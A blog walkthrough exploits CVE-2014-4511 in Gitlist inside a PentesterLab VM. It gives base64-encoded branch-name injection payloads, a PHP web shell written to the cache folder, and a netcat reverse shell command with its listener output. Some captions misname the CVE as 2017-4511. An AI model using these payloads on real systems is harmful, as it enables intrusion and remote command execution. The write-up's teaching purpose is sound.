Address
304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

CVE-2014-4511 – Gitlist RCE via Malicious Branch Name

Though it’s an old one, I’m finally getting around to my CVE-2014-4511 write-up.

This is actually something I saw in an environment not too long ago, so it was worth sharing.

CVE-2014-4511 – Introduction

Gitlist previous to version 0.5 was vulnerable to a few different remote code execution attacks. In this case, I’ll be covering the 2nd via a malicious branch name.

This was actually brought up as a bug, but was quickly recognized as a vulnerability.

For another great write-up, check out the original post from 2014.

Installation and Verification

If you’d like to follow along, you can download a vulnerable ISO from PenTester Lab.

Once I configured the VM, I verified that Gitlist was up and running.

CVE-2014-4511 - GitList Installed

Additionally, I made sure that I was able to clone the test repository using the provided credentials.

pentesterlab@vulnerable:~$ git clone git@vulnerable:test.git
Cloning into 'test'...
The authenticity of host 'vulnerable (127.0.0.1)' can't be established.
ECDSA key fingerprint is b2:23:9a:fa:a7:7a:cb:cd:30:85:f9:cb:b8:17:ae:05.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'vulnerable' (ECDSA) to the list of known hosts.
git@vulnerable's password:
remote: Counting objects: 3, done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (3/3), done.
pentesterlab@vulnerable:~$ ls
test/

Vulnerability Break Down

The actual vulnerability lies in Repository.php of the Gitter library, and Gitlist invokes this from TreeController.php. The vulnerable code in question is actually below.

$hash = $this->getClient()->run($this, "log --pretty=\"%T\" --max-count=1 $branch");

While there is no input sanitization in $branch, there are actually a few rules per refs.c.

  • Cannot begin with .
  • No double dots (..)
  • Cannot contain ASCII control characters (?, [, ], ~, ^, :, \)
  • Can’t end with /
  • Cannot end with .lock
  • No backslashes
  • Cannot contain a space

With these restrictions in mind, it would be best to somehow encode the payload, which is what the original exploit does.

git checkout -b "|echo\$IFS\"PD9zeXN0ZW0oJF9SRVFVRVNUWyd4J10pOz8+Cg==\"|base64\$IFS-d>/var/www/gitlist/cache/x"

This payload actually creates a branch that echos the encoded payload, pipes it to base64 -d, and then writes it to the world writable cache folder. Note that $IFS is the internal field separator, which acts as a space.

Finally, the actual PoC payload is as follows.

pentesterlab@vulnerable:~$ echo PD9zeXN0ZW0oJF9SRVFVRVNUWyd4J10pOz8+Cg== | base64 -d
<?system($_REQUEST['x']);?>

CVE-2014-4511 Payload Attempt

First, I attempted to generate my payload. I did this so that I’d understand how it worked, plus I was more familiar with the variables.

pentesterlab@vulnerable:~$ echo "<? echo passthru($_GET['cmd']); ?>" | base64
PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K

With that generated, I created a new branch with the malicious name.

pentesterlab@vulnerable:~$ cd test
pentesterlab@vulnerable:~/test$ git checkout -b "|echo\$IFS\"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K\"|base64\$IFS-d>/var/www/gitlist/cache/x"
Switched to a new branch '|echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x'
pentesterlab@vulnerable:~/test$ git push --all
git@vulnerable's password:
Total 0 (delta 0), reused 0 (delta 0)
To git@vulnerable:test.git
 * [new branch]      |echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x -> |echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x

After I created the branch, I loaded it in the web UI to execute the command injection.

CVE-2017-4511 - Branch names

CVE-2017-4511 - Loaded branch

When I went to view the /cache/x file, it was there! Unfortunately, it was showing plain-text instead of my PHP application. Note: this is missing part of the code I attempted to inject, which I do not notice until later.

CVE-2017-4511 - Plain-text Payload

Payload Debugging

First, I added a .php extension to the file, if the web server wasn’t handling the file properly.

pentesterlab@vulnerable:~/test$ git checkout -b "|echo\$IFS\"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K\"|base64\$IFS-d>/var/www/gitlist/cache/x.php"
Switched to a new branch '|echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x.php'
pentesterlab@vulnerable:~/test$ git push --all
git@vulnerable's password:
Total 0 (delta 0), reused 0 (delta 0)
To git@vulnerable:test.git
 * [new branch]      |echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x.php -> |echo$IFS"PD8gZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x.php

That at least modified the behavior of the payload, but there was still another issue.

CVE-2017-4511 - PHP error

Next, I attempted to use full PHP tags, if short tags weren’t enabled.

pentesterlab@vulnerable:~/test$ echo "<?php echo passthru($_GET['cmd']); ?>" | base64
PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K
pentesterlab@vulnerable:~/test$ git checkout -b "|echo\$IFS\"PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K\"|base64\$IFS-d>/var/www/gitlist/cache/x2.php"
Switched to a new branch '|echo$IFS"PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x2.php'
pentesterlab@vulnerable:~/test$ git push --all
git@vulnerable's password:
Total 0 (delta 0), reused 0 (delta 0)
To git@vulnerable:test.git
 * [new branch]      |echo$IFS"PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x2.php -> |echo$IFS"PD9waHAgZWNobyBwYXNzdGhydShbJ2NtZCddKTsgPz4K"|base64$IFS-d>/var/www/gitlist/cache/x2.php

This seemed to work better, as I could no longer see my PHP code. Unfortunately, there was no command output.

CVE-2017-4511 - Blank execution

Working Exploit!

After many attempts, and plenty of time banking my head against my keyboard, I realized my error. I wasn’t properly escaping the $ in my command, so it wasn’t getting properly encoded into my payload.

pentesterlab@vulnerable:~/test$ echo "<?php system($_GET['cmd']);?>" | base64 | base64 -d
<?php system(['cmd']);?>
pentesterlab@vulnerable:~/test$ echo "<?php system(\$_GET['cmd']);?>" | base64 | base64 -d
<?php system($_GET['cmd']);?>
pentesterlab@vulnerable:~/test$ echo "<?php system(\$_GET['cmd']);?>" | base64
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K

First, I generated a new branch with the properly encoded payload.

pentesterlab@vulnerable:~/test$ git checkout -b "|echo\$IFS\"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K\"|base64\$IFS-d>/var/www/gitlist/cache/x8.php"
Switched to a new branch '|echo$IFS"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K"|base64$IFS-d>/var/www/gitlist/cache/x8.php'
pentesterlab@vulnerable:~/test$ git push --all
git@vulnerable's password:
Total 0 (delta 0), reused 0 (delta 0)
To git@vulnerable:test.git
 * [new branch]      |echo$IFS"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K"|base64$IFS-d>/var/www/gitlist/cache/x8.php -> |echo$IFS"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K"|base64$IFS-d>/var/www/gitlist/cache/x8.php

Next, I loaded the new malicious branch in the application.

CVE-2017-4511 - Working payload

Finally, I went to the cached page, and had proper command execution!

CVE-2017-4511 - RCE

As a bonus, I was also able to grab a reverse shell from the following URL:

http://192.168.5.59/cache/x8.php?cmd=nc%20192.168.5.21%20443%20-e%20/bin/sh

root@kali:~# nc -lvp 443
listening on [any] 443 ...
192.168.5.59: inverse host lookup failed: Unknown host
connect to [192.168.5.21] from (UNKNOWN) [192.168.5.59] 50708
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
hostname
vulnerable
^C

CVE-2014-4511 Conclusion

While this was an older vulnerability, I’m glad that I finally got around to sharing it. This is still something that could be found in older development environments.

Additionally, it was a good example of some neat code execution in a web application. Other than that, it gave me an opportunity to point out some possible “gotcha” moments and examples of debugging.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.